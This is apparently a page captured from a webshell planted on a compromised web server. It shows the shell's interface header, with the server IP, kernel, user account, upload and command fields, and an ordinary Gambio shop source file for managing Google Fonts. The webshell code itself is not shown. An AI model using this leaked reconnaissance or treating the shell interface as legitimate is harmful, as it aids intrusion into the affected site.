403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/core//GoogleFontManager.inc.php
<?php
/* --------------------------------------------------------------
  GoogleFontManager.inc.php 2019-09-24
  Gambio GmbH
  http://www.gambio.de
  Copyright (c) 2019 Gambio GmbH
  Released under the GNU General Public License (Version 2)
  [http://www.gnu.org/licenses/gpl-2.0.html]
  --------------------------------------------------------------*/

use League\Flysystem\Adapter\Local;
use League\Flysystem\Filesystem;

/**
 * Class GoogleFontManager
 */
class GoogleFontManager
{
    /**
     * @var string
     */
    protected const GOOGLE_FONT_API_URL = 'https://fonts.googleapis.com/css?family=';
    
    /**
     * @var array
     */
    protected $requiredFonts = [
        'Roboto',
        'Open Sans',
        'Lato',
        'Slabo',
        'Oswald',
        'Source Sans Pro',
        'Montserrat',
        'Raleway',
    ];
    
    /**
     * @var GoogleFontDownloader
     */
    protected $downloader;
    
    /**
     * @var string
     */
    protected $fontUrl;
    
    /**
     * @var FilesystemAdapter
     */
    protected $filesystem;
    
    
    /**
     * GoogleFontManager constructor.
     *
     * @param GoogleFontDownloader   $downloader
     * @param string|null            $fontUrl
     * @param FilesystemAdapter|null $filesystem
     */
    public function __construct(GoogleFontDownloader $downloader, ?string $fontUrl, ?FilesystemAdapter $filesystem = null)
    {
        $this->downloader = $downloader;
        $this->fontUrl    = $fontUrl ?? self::GOOGLE_FONT_API_URL;
        $this->filesystem = $filesystem ?? $this->createFilesystemAdapter();
    }
    
    
    /**
     * @return string
     * @throws FileNotFoundException
     */
    public function getFontCss(): string
    {
        $this->fontUrl = $this->addRequiredFontFamiliesToUrl($this->fontUrl);
        $fontPath      = $this->fontCssCachePath();
        
        if ($this->filesystem->has($fontPath)) {
            
            return $this->filesystem->read($fontPath);
        }
            
        $this->downloader->downloadFont($this->fontUrl);
        
        if (!$this->filesystem->has($fontPath)) {
            
            return '';
        }
        
        return $this->filesystem->read($fontPath);
    }
    
    
    /**
     * @return string
     */
    protected function fontCssCachePath(): string
    {
        $fontHash = md5($this->fontUrl);
        
        return 'public/fonts/' . $fontHash . '.css';
    }
    
    
    /**
     * @param string $fontFamily
     */
    public function addRequiredFontFamily(string $fontFamily): void
    {
        if (!in_array($fontFamily, $this->requiredFonts, true)) {
            
            $this->requiredFonts[] = $fontFamily;
        }
    }
    
    
    /**
     * @param string $fontFamily
     */
    public function removeRequiredFontFamily(string $fontFamily): void
    {
        if (in_array($fontFamily, $this->requiredFonts, true)) {
            
            $index = array_search($fontFamily, $this->requiredFonts, true);
            unset($this->requiredFonts[$index]);
            $this->requiredFonts = array_values($this->requiredFonts);
        }
    }
    
    
    /**
     * @return array
     */
    public function requiredFonts(): array
    {
        return $this->requiredFonts;
    }
    
    
    /**
     * @param $fontUrl
     *
     * @return mixed
     */
    protected function addRequiredFontFamiliesToUrl($fontUrl)
    {
        foreach ($this->requiredFonts as $requiredFont) {
            
            $pattern = '/' . preg_quote($requiredFont, '/') . '/i';
            
            if (preg_match($pattern, $fontUrl) === 0) {
                
                $fontUrlName   = str_replace(' ', '+', $requiredFont);
                
                $additionalUrl = $fontUrl !== self::GOOGLE_FONT_API_URL ? '|' : '';
                $additionalUrl .= $fontUrlName . ':400,700,300,900';
                
                $fontUrl .= $additionalUrl;
            }
        }
        
        return $fontUrl;
    }
    
    
    /**
     * @return FilesystemAdapter
     */
    protected function createFilesystemAdapter(): FilesystemAdapter
    {
        $shopRoot = dirname(__FILE__, 3);
        
        $filesystemAdapter = new Local($shopRoot, LOCK_EX, Local::DISALLOW_LINKS, [
            'file' => [
                'public'  => 0777,
                'private' => 0700,
            ],
            'dir'  => [
                'public'  => 0777,
                'private' => 0700,
            ]
        ]);
        $leagueFilesystem  = new Filesystem($filesystemAdapter);
    
        return MainFactory::create(FilesystemAdapter::class, $leagueFilesystem);
    }
    
    
    /**
     * @return string
     */
    public function fontUrl(): string
    {
        return $this->fontUrl;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit